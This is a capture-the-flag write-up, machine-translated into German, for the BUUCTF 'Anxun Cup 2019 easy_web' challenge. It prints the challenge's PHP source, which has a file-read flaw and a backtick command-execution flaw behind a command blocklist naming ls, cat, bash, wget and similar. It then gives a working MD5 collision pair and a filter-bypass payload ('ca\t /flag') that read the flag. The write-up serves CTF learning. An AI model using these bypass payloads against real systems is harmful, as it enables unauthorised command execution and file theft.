buuctf-[Anxun Cup 2019]easy_web

Artikelverzeichnis

buuctf-[Anxun Cup 2019]easy_web

1. Es gibt nichts Brauchbares im Quellcode
Fügen Sie hier eine Bildbeschreibung ein
2. Entschlüsseln Sie den Code hinter img zweimal mit Base64 und einmal mit Hexadezimal. Es ist als 555.png erhältlich, daher führen wir zur Überprüfung eine hexadezimale Verschlüsselung und zwei Base64-Verschlüsselungen durch: index.php, flag.php TmprMlpUWTBOalUzT0RKbE56QTJPRGN3 (index.php)
Daher können wir die gewünschten Daten erhalten, indem wir die Daten nur einmal mit Base64 kodieren

<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) 
    header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
    
    
    echo '<img src ="./ctf3.jpeg">';
    die("xixi~ no flag");
} else {
    
    
    $txt = base64_encode(file_get_contents($file));
    echo "<img src='data:image/gif;base64," . $txt . "'></img>";
    echo "<br>";
}
echo $cmd;
echo "<br>";
if(preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    
    
    echo("forbid ~");
    echo "<br>";
} else {
    
    
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
    
    
        echo `$cmd`;
    } else {
    
    
        echo ("md5 is funny ~");
    }
}

?>
<html>
<style>
  body{
    
    
   background:url(./bj.png)  no-repeat center center;
   background-size:cover;
   background-attachment:fixed;
   background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>

Verwenden Sie MD-Kollision, um starke Vergleiche und MD5 zu umgehen

a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

Ich habe hier ein Problem gefunden, das heißt, wenn Hackbar zum Erfassen von Paketen verwendet wird, ändert sich die Nutzlast, und dann wird es nie erfolgreich sein
Schließlich ist das Umgehen von ls mit dir nicht möglich gefiltert
Fügen Sie hier eine Bildbeschreibung ein
Verwenden Sie schließlich diese Nutzlast, um die Filterung zu umgehen

ca\t%20/flag
得到flag

Supongo que te gusta

Origin blog.csdn.net/m0_73728268/article/details/129713054
Recomendado
Clasificación